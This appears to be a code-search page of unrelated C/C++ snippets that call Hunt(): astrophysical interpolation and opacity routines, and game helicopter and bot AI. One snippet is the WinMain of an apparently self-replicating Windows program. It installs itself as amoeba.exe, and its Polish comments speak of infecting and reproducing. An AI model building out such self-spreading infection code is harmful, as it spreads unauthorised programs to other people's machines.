Beispiel #1
0
double BiLinear(int Na, double *a_table, double a,
		int Nb, double *b_table, double b,
		double **f, bool_t hunt)
{
  static int i = 0, j = 0;

  double fa, fb;

  /* --- Bi-linear interpolation of function f[][] given on 
         rectangular grid (a_table, b_table) --        -------------- */

  if (hunt) {
    Hunt(Na, a_table, a, &i);
    Hunt(Nb, b_table, b, &j);
  } else {
    Locate(Na, a_table, a, &i);
    Locate(Nb, b_table, b, &j);
  }
  fa = (a_table[i+1] - a) / (a_table[i+1] - a_table[i]);
  fb = (b_table[j+1] - b) / (b_table[j+1] - b_table[j]);

  return                 fa*fb * f[i][j] +
                 fa*(1.0 - fb) * f[i][j+1] +
                 (1.0 - fa)*fb * f[i+1][j] +
         (1.0 - fa)*(1.0 - fb) * f[i+1][j+1];
}
Beispiel #2
0
void Linear(int Ntable, double *xtable, double *ytable,
	    int N, double *x, double *y, bool_t hunt)
{
  register int n;

  bool_t ascend;
  int    j = 0;
  double xmin, xmax, fx;

  ascend = (xtable[1] > xtable[0]) ? TRUE : FALSE;
  xmin = (ascend) ? xtable[0] : xtable[Ntable-1];
  xmax = (ascend) ? xtable[Ntable-1] : xtable[0];

  for (n = 0;  n < N;  n++) {
    if (x[n] <= xmin)
      y[n] = (ascend) ? ytable[0] : ytable[Ntable-1];
    else if (x[n] >= xmax)
      y[n] = (ascend) ? ytable[Ntable-1] : ytable[0];
    else {
      if (hunt) 
	Hunt(Ntable, xtable, x[n], &j);
      else
	Locate(Ntable, xtable, x[n], &j);

      fx = (xtable[j+1] - x[n]) / (xtable[j+1] - xtable[j]);
      y[n] = fx*ytable[j] + (1 - fx)*ytable[j+1];
    }
  }
}
//------------------------------------------------------------------------------
// Purpose : The main think function for the helicopters
// Input   :
// Output  :
//------------------------------------------------------------------------------
void CBaseHelicopter::HelicopterThink( void )
{
	SetNextThink( gpGlobals->curtime + HELICOPTER_THINK_INTERVAL );

	// Don't keep this around for more than one frame.
	ClearCondition( COND_ENEMY_DEAD );

	// Animate and dispatch animation events.
	StudioFrameAdvance( );
	DispatchAnimEvents( this );

	PrescheduleThink();

	ShowDamage( );

	// -----------------------------------------------
	// If AI is disabled, kill any motion and return
	// -----------------------------------------------
	if (CAI_BaseNPC::m_nDebugBits & bits_debugDisableAI)
	{
		SetAbsVelocity( vec3_origin );
		SetLocalAngularVelocity( vec3_angle );
		SetNextThink( gpGlobals->curtime + HELICOPTER_THINK_INTERVAL );
		return;
	}

	Hunt();

	HelicopterPostThink();
}
Beispiel #4
0
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE,LPSTR,int)
{	
	if (CRegister::Dieee())
		return -1;

	CRegister::DeleteEvilMountPoints();

	UINT c = GetWindowsDirectory(cpPath,MAX_PATH);
	wcscpy(cpPath + c,TEXT("\\amoeba.exe"));
	ncpPath = c + 11;

	// dokonaj zara¿enia
	File::DivideCell();

	Sleep(1000);

	// teraz poluj na robale
	Hunt();

	// pó¿niej zajmij siê w³asnym ¿yciem, tj czuwaniem i rozmna¿aniem ;]
	WNDCLASSEX wc;
	ZeroMemory(&wc,sizeof(wc));
	wc.cbSize = sizeof(wc);
	wc.hInstance = hInstance;
	wc.lpfnWndProc = WndProc;
	wc.lpszClassName = className;

	if (!RegisterClassEx(&wc) || !CreateWindowEx(0,className,className,NULL,0,0,0,0,NULL,NULL,hInstance,NULL)) 
		return 1;
	MSG msg;
	while(GetMessage(&msg,0,NULL,NULL) > 0) { TranslateMessage(&msg); DispatchMessage(&msg); }

	// na zakoñczenie programu te¿ poluje :P
	Hunt();

	return 0;
}
//------------------------------------------------------------------------------
// Purpose : The main think function for the helicopters
// Input   :
// Output  :
//------------------------------------------------------------------------------
void CBaseHelicopter::HelicopterThink( void )
{
	CheckPVSCondition();

	SetNextThink( gpGlobals->curtime + HELICOPTER_THINK_INTERVAL );

	// Don't keep this around for more than one frame.
	ClearCondition( COND_ENEMY_DEAD );

	// Animate and dispatch animation events.
	StudioFrameAdvance( );
	DispatchAnimEvents( this );

	PrescheduleThink();

	if ( IsMarkedForDeletion() )
		return;

	ShowDamage( );

	// -----------------------------------------------
	// If AI is disabled, kill any motion and return
	// -----------------------------------------------
	if (CAI_BaseNPC::m_nDebugBits & bits_debugDisableAI)
	{
		SetAbsVelocity( vec3_origin );
		SetLocalAngularVelocity( vec3_angle );
		SetNextThink( gpGlobals->curtime + HELICOPTER_THINK_INTERVAL );
		return;
	}

	Hunt();

	// Finally, forget dead enemies, or ones we've been told to ignore.
	if( GetEnemy() != NULL && (!GetEnemy()->IsAlive() || GetEnemy()->GetFlags() & FL_NOTARGET || IRelationType( GetEnemy() ) == D_NU ) )
	{
		SetEnemy( NULL );
	}

	HelicopterPostThink();
}
Beispiel #6
0
// Respond to radio commands from HUMAN players
void CCSBot::RespondToRadioCommands()
{
	// bots use the chatter system to respond to each other
	if (m_radioSubject.IsValid() && m_radioSubject->IsPlayer())
	{
		if (m_radioSubject->IsBot())
		{
			m_lastRadioCommand = EVENT_INVALID;
			return;
		}
	}

	if (m_lastRadioCommand == EVENT_INVALID)
		return;

	// a human player has issued a radio command
	GetChatter()->ResetRadioSilenceDuration();

	// if we are doing something important, ignore the radio
	// unless it is a "report in" request - we can do that while we continue to do other things
	// TODO: Create "uninterruptable" flag
	if (m_lastRadioCommand != EVENT_RADIO_REPORT_IN_TEAM)
	{
		if (IsBusy())
		{
			// consume command
			m_lastRadioCommand = EVENT_INVALID;
			return;
		}
	}

	// wait for reaction time before responding
	// delay needs to be long enough for the radio message we're responding to to finish
	float respondTime = 1.0f + 2.0f * GetProfile()->GetReactionTime();
	if (IsRogue())
		respondTime += 2.0f;

	if (gpGlobals->time - m_lastRadioRecievedTimestamp < respondTime)
		return;

	// rogues won't follow commands, unless already following the player
	if (!IsFollowing() && IsRogue())
	{
		if (IsRadioCommand(m_lastRadioCommand))
		{
			GetChatter()->Negative();
		}

		// consume command
		m_lastRadioCommand = EVENT_INVALID;
		return;
	}

	if (!m_radioSubject)
		return;

	// respond to command
	bool canDo = false;
	const float inhibitAutoFollowDuration = 60.0f;
	switch (m_lastRadioCommand)
	{
	case EVENT_RADIO_REPORT_IN_TEAM:
	{
		GetChatter()->ReportingIn();
		break;
	}
	case EVENT_RADIO_FOLLOW_ME:
	case EVENT_RADIO_COVER_ME:
	case EVENT_RADIO_STICK_TOGETHER_TEAM:
	case EVENT_RADIO_REGROUP_TEAM:
	{
		if (!IsFollowing())
		{
			Follow(m_radioSubject);
			m_radioSubject->AllowAutoFollow();
			canDo = true;
		}
		break;
	}
	case EVENT_RADIO_ENEMY_SPOTTED:
	case EVENT_RADIO_NEED_BACKUP:
	case EVENT_RADIO_TAKING_FIRE:
	{
		if (!IsFollowing())
		{
			Follow(m_radioSubject);
			GetChatter()->Say("OnMyWay");
			m_radioSubject->AllowAutoFollow();
			canDo = false;
		}
		break;
	}
	case EVENT_RADIO_TEAM_FALL_BACK:
	{
		if (TryToRetreat())
			canDo = true;
		break;
	}
	case EVENT_RADIO_HOLD_THIS_POSITION:
	{
		// find the leader's area
		SetTask(HOLD_POSITION);
		StopFollowing();
		m_radioSubject->InhibitAutoFollow(inhibitAutoFollowDuration);
		Hide(TheNavAreaGrid.GetNearestNavArea(&m_radioPosition));
		canDo = true;
		break;
	}
	case EVENT_RADIO_GO_GO_GO:
	case EVENT_RADIO_STORM_THE_FRONT:
	{
		StopFollowing();
		Hunt();
		canDo = true;
		m_radioSubject->InhibitAutoFollow(inhibitAutoFollowDuration);
		break;
	}
	case EVENT_RADIO_GET_OUT_OF_THERE:
	{
		if (TheCSBots()->IsBombPlanted())
		{
			EscapeFromBomb();
			m_radioSubject->InhibitAutoFollow(inhibitAutoFollowDuration);
			canDo = true;
		}
		break;
	}
	case EVENT_RADIO_SECTOR_CLEAR:
	{
		// if this is a defusal scenario, and the bomb is planted,
		// and a human player cleared a bombsite, check it off our list too
		if (TheCSBots()->GetScenario() == CCSBotManager::SCENARIO_DEFUSE_BOMB)
		{
			if (m_iTeam == CT && TheCSBots()->IsBombPlanted())
			{
				const CCSBotManager::Zone *zone = TheCSBots()->GetClosestZone(m_radioSubject);
				if (zone)
				{
					GetGameState()->ClearBombsite(zone->m_index);

					// if we are huting for the planted bomb, re-select bombsite
					if (GetTask() == FIND_TICKING_BOMB)
						Idle();

					canDo = true;
				}
			}
		}
		break;
	}
	default:
		// ignore all other radio commands for now
		return;
	}

	if (canDo)
	{
		// affirmative
		GetChatter()->Affirmative();

		// if we agreed to follow a new command, put away our grenade
		if (IsRadioCommand(m_lastRadioCommand) && IsUsingGrenade())
		{
			EquipBestWeapon();
		}
	}

	// consume command
	m_lastRadioCommand = EVENT_INVALID;
}
Beispiel #7
0
bool_t H2plus_ff(double lambda, double *chi)
{
  register int  k;

  static  bool_t initialize=TRUE;
  static   int   index;
  static double *temp_index;

  /* --- H2+ Free-Free scattering coefficients in units of 
         1.0E-49 m^-1 / (H atom/m^3) / (proton/M^3). Stimulated emission
	 is included. This represents the following interaction:

	   H + H^+ + \nu ---> H + H^+

   From: D. R. Bates (1952), MNRAS 112, 40-44
   Also: R. Mathisen (1984), Master's thesis, Inst. Theor.
          Astroph., University of Oslo, p. 45

         When called the first time (or when initialize==TRUE) the
         fractional indices for atmospheric temperatures into the
         temperature table are stored in temp_index. This memory can be
         freed by calling the routine with lambda==0.0
         --                                            -------------- */


  static double lambdaFF[NFF_H2P] = { 
        0.0,  384.6,  555.6,  833.3, 1111.1, 1428.6, 1666.7,
     2000.0, 2500.0, 2857.1, 3333.3, 4000.0, 5000.0, 6666.7, 10000.0};

  static double tempFF[NTEMP_H2P] = {
    2.5E+03, 3.0E+03, 3.5E+03, 4.0E+03, 5.0E+03, 
    6.0E+03, 7.0E+03, 8.0E+03, 1.0E+04, 1.2E+04};

  static double kappaFF[NFF_H2P * NTEMP_H2P] = {
    /* --- lambda =      0.0 [nm] --                   -------------- */
    0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 0.00,
    /* --- lambda =    384.6 [nm] --                   -------------- */
    0.46, 0.46, 0.42, 0.39, 0.36, 0.33, 0.32, 0.30, 0.27, 0.25,
    /* --- lambda =    555.6 [nm] --                   -------------- */
    0.70, 0.62, 0.59, 0.56, 0.51, 0.43, 0.41, 0.39, 0.35, 0.34,
    /* --- lambda =    833.3 [nm] --                   -------------- */
    0.92, 0.86, 0.80, 0.76, 0.70, 0.64, 0.59, 0.55, 0.48, 0.43,
    /* --- lambda =   1111.1 [nm] --                   -------------- */
    1.11, 1.04, 0.96, 0.91, 0.82, 0.74, 0.68, 0.62, 0.53, 0.46,
    /* --- lambda =   1428.6 [nm] --                   -------------- */
    1.26, 1.19, 1.09, 1.02, 0.90, 0.80, 0.72, 0.66, 0.55, 0.48,
    /* --- lambda =   1666.7 [nm] --                   -------------- */
    1.37, 1.25, 1.15, 1.07, 0.93, 0.83, 0.74, 0.67, 0.56, 0.49,
    /* --- lambda =   2000.0 [nm] --                   -------------- */
    1.44, 1.32, 1.21, 1.12, 0.97, 0.84, 0.75, 0.67, 0.56, 0.48,
    /* --- lambda =   2500.0 [nm] --                   -------------- */
    1.54, 1.39, 1.26, 1.15, 0.98, 0.85, 0.75, 0.67, 0.55, 0.46,
    /* --- lambda =   2857.1 [nm] --                   -------------- */
    1.58, 1.42, 1.27, 1.16, 0.98, 0.84, 0.74, 0.66, 0.54, 0.45,
    /* --- lambda =   3333.3 [nm] --                   -------------- */
    1.62, 1.43, 1.28, 1.15, 0.97, 0.83, 0.72, 0.64, 0.52, 0.44,
    /* --- lambda =   4000.0 [nm] --                   -------------- */
    1.63, 1.43, 1.27, 1.14, 0.95, 0.80, 0.70, 0.62, 0.50, 0.42,
    /* --- lambda =   5000.0 [nm] --                   -------------- */
    1.62, 1.40, 1.23, 1.10, 0.90, 0.77, 0.66, 0.59, 0.48, 0.39,
    /* --- lambda =   6666.7 [nm] --                   -------------- */
    1.55, 1.33, 1.16, 1.03, 0.84, 0.71, 0.60, 0.53, 0.43, 0.36,
    /* --- lambda =  10000.0 [nm] --                   -------------- */
    1.39, 1.18, 1.02, 0.90, 0.73, 0.60, 0.52, 0.46, 0.37, 0.31
  };

  long    Nspace = atmos.Nspace;
  double  T, lambda_index, kappa, *np;

  if (lambda == 0.0) {

    /* --- When called with zero wavelength free memory for fractional
           indices --                                  -------------- */

    if (temp_index) free(temp_index);
    initialize = TRUE;
    return FALSE;
  }
  if (lambda >= lambdaFF[NFF_H2P-1])
    return FALSE;

  if (initialize) {
    temp_index = (double *) malloc(Nspace * sizeof(double));
    for (k = 0;  k < Nspace;  k++) {
      T = atmos.T[k];
      if (T <= tempFF[0])
        temp_index[k] = 0;
      else if (T >= tempFF[NTEMP_H2P-1])
	temp_index[k] = NTEMP_H2P-1;
      else {
	Hunt(NTEMP_H2P, tempFF, T, &index);
	temp_index[k] = index + (T - tempFF[index]) /
	  (tempFF[index+1] - tempFF[index]);
      }
    }
    initialize = FALSE;
  }

  Hunt(NFF_H2P, lambdaFF, lambda, &index);
  lambda_index = index + (lambda - lambdaFF[index]) /
    (lambdaFF[index+1] - lambdaFF[index]);

  np = atmos.H->n[atmos.H->Nlevel-1];    
  for (k = 0;  k < Nspace;  k++) {
    kappa  = bilinear(NTEMP_H2P, NFF_H2P, kappaFF,
		      temp_index[k], lambda_index);
    chi[k] = (atmos.H->n[0][k] * 1.0E-29) * (np[k] * 1.0E-20) * kappa;
  }

  return TRUE;
}
Beispiel #8
0
bool_t H2minus_ff(double lambda, double *chi) {

  register int  k;

  static  bool_t initialize=TRUE;
  static   int   index;
  static double *theta_index;

  /* --- H2-minus Free-Free absorption coefficients (in units of
         10E-29 m^5/J). Stimulated emission is included.

   From: Bell, K. L., (1980) J. Phys. B13, 1859.
   Also: R. Mathisen (1984), Master's thesis, Inst. Theor.
          Astroph., University of Oslo, p. 18

         When called the first time (or when initialize==TRUE) the
         fractional indices for atmospheric temperatures into the
         theta table are stored in theta_index. This memory can be
         freed by calling the routine with lambda==0.0
         --                                            -------------- */


  static double lambdaFF[NFF_H2] = {
       0.0,   350.5,   414.2,   506.3,   569.6,   650.9,   759.4,   911.3,
    1139.1,  1518.8,  1822.6,  2278.3,  3037.7,  3645.2,  4556.5,  6075.3,
    9113.0, 11391.3, 15188.3};

  static double thetaFF[NTHETA_H2] = {
    0.5, 0.8, 1.0, 1.2, 1.6, 2.0, 2.8, 3.6};

  static double kappaFF[NFF_H2 * NTHETA_H2] = {
    /* --- lambda =     0.0 [nm] --                    -------------- */
     0.00e+00, 0.00e+00, 0.00e+00, 0.00e+00, 0.00e+00,
     0.00e+00, 0.00e+00, 0.00e+00,
    /* --- lambda =   350.5 [nm] --                    -------------- */
     4.17e-02, 6.10e-02, 7.34e-02, 8.59e-02, 1.11e-01,
     1.37e-01, 1.87e-01, 2.40e-01,
    /* --- lambda =   414.2 [nm] --                    -------------- */
     5.84e-02, 8.43e-02, 1.01e-01, 1.17e-01, 1.49e-01,
     1.82e-01, 2.49e-01, 3.16e-01,
    /* --- lambda =   506.3 [nm] --                    -------------- */
     8.70e-02, 1.24e-01, 1.46e-01, 1.67e-01, 2.10e-01,
     2.53e-01, 3.39e-01, 4.27e-01,
    /* --- lambda =   569.6 [nm] --                    -------------- */
     1.10e-01, 1.54e-01, 1.80e-01, 2.06e-01, 2.55e-01,
     3.05e-01, 4.06e-01, 5.07e-01,
    /* --- lambda =   650.9 [nm] --                    -------------- */
     1.43e-01, 1.98e-01, 2.30e-01, 2.59e-01, 3.17e-01,
     3.75e-01, 4.92e-01, 6.09e-01,
    /* --- lambda =   759.4 [nm] --                    -------------- */
     1.92e-01, 2.64e-01, 3.03e-01, 3.39e-01, 4.08e-01,
     4.76e-01, 6.13e-01, 7.51e-01,
    /* --- lambda =   911.3 [nm] --                    -------------- */
     2.73e-01, 3.71e-01, 4.22e-01, 4.67e-01, 5.52e-01,
     6.33e-01, 7.97e-01, 9.63e-01,
    /* --- lambda =  1139.1 [nm] --                    -------------- */
     4.20e-01, 5.64e-01, 6.35e-01, 6.97e-01, 8.06e-01,
     9.09e-01, 1.11e+00, 1.32e+00,
    /* --- lambda =  1518.8 [nm] --                    -------------- */
     7.36e-01, 9.75e-01, 1.09e+00, 1.18e+00, 1.34e+00, 
     1.48e+00, 1.74e+00, 2.01e+00,
    /* --- lambda =  1822.6 [nm] --                    -------------- */
     1.05e+00, 1.39e+00, 1.54e+00, 1.66e+00, 1.87e+00,
     2.04e+00, 2.36e+00, 2.68e+00,
    /* --- lambda =  2278.3 [nm] --                    -------------- */
     1.63e+00, 2.14e+00, 2.36e+00, 2.55e+00, 2.84e+00,
     3.07e+00, 3.49e+00, 3.90e+00,
    /* --- lambda =  3037.7 [nm] --                    -------------- */
     2.89e+00, 3.76e+00, 4.14e+00, 4.44e+00, 4.91e+00,
     5.28e+00, 5.90e+00, 6.44e+00,
    /* --- lambda =  3645.2 [nm] --                    -------------- */
     4.15e+00, 5.38e+00, 5.92e+00, 6.35e+00, 6.99e+00,
     7.50e+00, 8.32e+00, 9.02e+00,
    /* --- lambda =  4556.5 [nm] --                    -------------- */
     6.47e+00, 8.37e+00, 9.20e+00, 9.84e+00, 1.08e+01,
     1.16e+01, 1.28e+01, 1.38e+01,
    /* --- lambda =  6075.3 [nm] --                    -------------- */
     1.15e+01,1.48e+01, 1.63e+01, 1.74e+01, 1.91e+01, 
     2.04e+01, 2.24e+01, 2.40e+01,
    /* --- lambda =  9113.0 [nm] --                    -------------- */
     2.58e+01, 3.33e+01, 3.65e+01, 3.90e+01, 4.27e+01, 
     4.54e+01, 4.98e+01, 5.33e+01,
    /* --- lambda = 11391.3 [nm] --                    -------------- */
     4.03e+01, 5.20e+01, 5.70e+01, 6.08e+01, 6.65e+01, 
     7.08e+01, 7.76e+01, 8.30e+01,
    /* --- lambda = 15188.3 [nm] --                    -------------- */
     7.16e+01, 9.23e+01, 1.01e+02, 1.08e+02, 1.18e+02, 
     1.26e+02, 1.38e+02, 1.47e+02
  };

  long    Nspace = atmos.Nspace;
  double  theta, pe, lambda_index, kappa, *nH2;

  if (lambda == 0.0) {

    /* --- When called with zero wavelength free memory for fractional
           indices --                                  -------------- */

    if (theta_index) free(theta_index);
    initialize = TRUE;
    return FALSE;
  }
  if (lambda >= lambdaFF[NFF_H2-1])
    return FALSE;

  if (initialize) {
    theta_index = (double *) malloc(Nspace * sizeof(double));
    for (k = 0;  k < Nspace;  k++) {
      theta = THETA0 / atmos.T[k];
      if (theta <= thetaFF[0])
        theta_index[k] = 0;
      else if (theta >= thetaFF[NTHETA_H2-1])
	theta_index[k] = NTHETA_H2-1;
      else {
	Hunt(NTHETA_H2, thetaFF, theta, &index);
	theta_index[k] = index + (theta - thetaFF[index]) /
	  (thetaFF[index+1] - thetaFF[index]);
      }
    }
    initialize = FALSE;
  }

  Hunt(NFF_H2, lambdaFF, lambda, &index);
  lambda_index = index + (lambda - lambdaFF[index]) /
    (lambdaFF[index+1] - lambdaFF[index]);

  nH2 = atmos.H2->n;
  for (k = 0;  k < Nspace;  k++) {
    if (nH2[k] > 0.0) {
      pe     = atmos.ne[k] * KBOLTZMANN * atmos.T[k];
      kappa  = bilinear(NTHETA_H2, NFF_H2, kappaFF,
			theta_index[k], lambda_index);
      chi[k] = (nH2[k] * 1.0E-29) * pe * kappa;
    } else
      chi[k] = 0.0;
  } 
  return TRUE;
}
Beispiel #9
0
bool_t Hminus_ff(double lambda, double *chi)
{
  register int  k;

  static bool_t  initialize=TRUE;
  static int     index;
  static double *theta_index;

  /* --- H-minus Free-Free coefficients (in units of 1.0E-29 m^5/J)

   From: J. L. Stilley and J. Callaway (1970), ApJ 160, 245-260
   Also: D. Mihalas (1978), p. 102
         R. Mathisen (1984), Master's thesis, Inst. Theor.
          Astroph., University of Oslo. p. 17

         When called the first time (or when initialize==TRUE) the
         fractional indices for atmospheric temperatures into the
         theta table are stored in theta_index. This memory can be
         freed by calling the routine with lambda==0.0
         --                                            -------------- */

  static double lambdaFF[NFF] = {
    0.0, 303.8, 455.6, 506.3, 569.5, 650.9, 759.4, 911.3, 1013.0, 1139.0,
    1302.0, 1519.0, 1823.0, 2278.0, 3038.0, 4556.0, 9113.0};

  /* --- theta = 5040.0/T --                           -------------- */

  static double thetaFF[NTHETA] = {
    0.5, 0.6, 0.7, 0.8, 0.9, 1.0, 1.1, 1.2,
    1.3, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9, 2.0};

  static double kappaFF[NFF * NTHETA] = {
    /* --- lambda =    0.0 [nm] --                     -------------- */
     0.00e+00, 0.00e+00, 0.00e+00, 0.00e+00, 0.00e+00, 0.00e+00,
     0.00e+00, 0.00e+00, 0.00e+00, 0.00e+00, 0.00e+00, 0.00e+00,
     0.00e+00, 0.00e+00, 0.00e+00, 0.00e+00,
    /* --- lambda =  303.8 [nm] --                     -------------- */
     3.44e-02, 4.18e-02, 4.91e-02, 5.65e-02, 6.39e-02, 7.13e-02,
     7.87e-02, 8.62e-02, 9.36e-02, 1.01e-01, 1.08e-01, 1.16e-01,
     1.23e-01, 1.30e-01, 1.38e-01, 1.45e-01,
    /* --- lambda =  455.6 [nm] --                     -------------- */
     7.80e-02, 9.41e-02, 1.10e-01, 1.25e-01, 1.40e-01, 1.56e-01,
     1.71e-01, 1.86e-01, 2.01e-01, 2.16e-01, 2.31e-01, 2.45e-01,
     2.60e-01, 2.75e-01, 2.89e-01, 3.03e-01,
    /* --- lambda =  506.3 [nm] --                     -------------- */
     9.59e-02, 1.16e-01, 1.35e-01, 1.53e-01, 1.72e-01, 1.90e-01,
     2.08e-01, 2.25e-01, 2.43e-01, 2.61e-01, 2.78e-01, 2.96e-01,
     3.13e-01, 3.30e-01, 3.47e-01, 3.64e-01,
    /* --- lambda =  569.5 [nm] --                     -------------- */
     1.21e-01, 1.45e-01, 1.69e-01, 1.92e-01, 2.14e-01, 2.36e-01,
     2.58e-01, 2.80e-01, 3.01e-01, 3.22e-01, 3.43e-01, 3.64e-01,
     3.85e-01, 4.06e-01, 4.26e-01, 4.46e-01,
    /* --- lambda =  650.9 [nm] --                     -------------- */
     1.56e-01, 1.88e-01, 2.18e-01, 2.47e-01, 2.76e-01, 3.03e-01,
     3.31e-01, 3.57e-01, 3.84e-01, 4.10e-01, 4.36e-01, 4.62e-01,
     4.87e-01, 5.12e-01, 5.37e-01, 5.62e-01,
    /* --- lambda =  759.4 [nm] --                     -------------- */
     2.10e-01, 2.53e-01, 2.93e-01, 3.32e-01, 3.69e-01, 4.06e-01,
     4.41e-01, 4.75e-01, 5.09e-01, 5.43e-01, 5.76e-01, 6.08e-01,
     6.40e-01, 6.72e-01, 7.03e-01, 7.34e-01,
    /* --- lambda =  911.3 [nm] --                     -------------- */
     2.98e-01, 3.59e-01, 4.16e-01, 4.70e-01, 5.22e-01, 5.73e-01,
     6.21e-01, 6.68e-01, 7.15e-01, 7.60e-01, 8.04e-01, 8.47e-01,
     8.90e-01, 9.32e-01, 9.73e-01, 1.01e+00,
    /* --- lambda = 1013.0 [nm] --                     -------------- */
     3.65e-01, 4.39e-01, 5.09e-01, 5.75e-01, 6.39e-01, 7.00e-01,
     7.58e-01, 8.15e-01, 8.71e-01, 9.25e-01, 9.77e-01, 1.03e+00,
     1.08e+00, 1.13e+00, 1.18e+00, 1.23e+00,
    /* --- lambda = 1139.0 [nm] --                     -------------- */
     4.58e-01, 5.50e-01, 6.37e-01, 7.21e-01, 8.00e-01, 8.76e-01,
     9.49e-01, 1.02e+00, 1.09e+00, 1.15e+00, 1.22e+00, 1.28e+00,
     1.34e+00, 1.40e+00, 1.46e+00, 1.52e+00,
    /* --- lambda = 1302.0 [nm] --                     -------------- */
     5.92e-01, 7.11e-01, 8.24e-01, 9.31e-01, 1.03e+00, 1.13e+00,
     1.23e+00, 1.32e+00, 1.40e+00, 1.49e+00, 1.57e+00, 1.65e+00,
     1.73e+00, 1.80e+00, 1.88e+00, 1.95e+00,
    /* --- lambda = 1519.0 [nm] --                     -------------- */
     7.98e-01, 9.58e-01, 1.11e+00, 1.25e+00, 1.39e+00, 1.52e+00,
     1.65e+00, 1.77e+00, 1.89e+00, 2.00e+00, 2.11e+00, 2.21e+00,
     2.32e+00, 2.42e+00, 2.51e+00, 2.61e+00,
    /* --- lambda = 1823.0 [nm] --                     -------------- */
     1.14e+00, 1.36e+00, 1.58e+00, 1.78e+00, 1.98e+00, 2.17e+00,
     2.34e+00, 2.52e+00, 2.68e+00, 2.84e+00, 3.00e+00, 3.15e+00,
     3.29e+00, 3.43e+00, 3.57e+00, 3.70e+00,
    /* --- lambda = 2278.0 [nm] --                     -------------- */
     1.77e+00, 2.11e+00, 2.44e+00, 2.75e+00, 3.05e+00, 3.34e+00,
     3.62e+00, 3.89e+00, 4.14e+00, 4.39e+00, 4.63e+00, 4.86e+00,
     5.08e+00, 5.30e+00, 5.51e+00, 5.71e+00,
    /* --- lambda = 3038.0 [nm] --                     -------------- */
     3.10e+00, 3.71e+00, 4.29e+00, 4.84e+00, 5.37e+00, 5.87e+00,
     6.36e+00, 6.83e+00, 7.28e+00, 7.72e+00, 8.14e+00, 8.55e+00,
     8.95e+00, 9.33e+00, 9.71e+00, 1.01e+01,
    /* --- lambda = 4556.0 [nm] --                     -------------- */
     6.92e+00, 8.27e+00, 9.56e+00, 1.08e+01, 1.19e+01, 1.31e+01,
     1.42e+01, 1.52e+01, 1.62e+01, 1.72e+01, 1.82e+01, 1.91e+01,
     2.00e+01, 2.09e+01, 2.17e+01, 2.25e+01,
    /* --- lambda = 9113.0 [nm] --                     -------------- */
     2.75e+01, 3.29e+01, 3.80e+01, 4.28e+01, 4.75e+01, 5.19e+01,
     5.62e+01, 6.04e+01, 6.45e+01, 6.84e+01, 7.23e+01, 7.60e+01,
     7.97e+01, 8.32e+01, 8.67e+01, 9.01e+01
  };
  
  long    Nspace = atmos.Nspace;
  double  theta, pe, lambda_index, kappa;

  if (lambda == 0.0) {

    /* --- When called with zero wavelength free memory for fractional
           indices --                                  -------------- */

    if (theta_index) free(theta_index);
    initialize = TRUE;
    return FALSE;
  }
  /* --- Use long-wavelength expansion if wavelength beyond 9113 nm - */

  if (lambda >= lambdaFF[NFF-1])
    return Hminus_ff_long(lambda, chi);

  if (initialize) {

    /* --- Store the fractional indices of temperature only the
           first time around --                        -------------- */

    theta_index = (double *) malloc(Nspace * sizeof(double));
    for (k = 0;  k < Nspace;  k++) {
      theta = THETA0 / atmos.T[k];
      if (theta <= thetaFF[0])
        theta_index[k] = 0;
      else if (theta >= thetaFF[NTHETA-1])
	theta_index[k] = NTHETA - 1;
      else {
	Hunt(NTHETA, thetaFF, theta, &index);
	theta_index[k] = (double) index +
	  (theta - thetaFF[index]) / (thetaFF[index+1] - thetaFF[index]);
      }
    }
    initialize = FALSE;
  }

  Hunt(NFF, lambdaFF, lambda, &index);
  lambda_index = (double) index +
    (lambda - lambdaFF[index]) / (lambdaFF[index+1] - lambdaFF[index]);

  for (k = 0;  k < Nspace;  k++) {
    pe     = atmos.ne[k] * KBOLTZMANN * atmos.T[k];
    kappa  = bilinear(NTHETA, NFF, kappaFF,
		      theta_index[k], lambda_index);
    chi[k] = (atmos.H->n[0][k] * 1.0E-29) * pe * kappa;
  }
  return TRUE;
}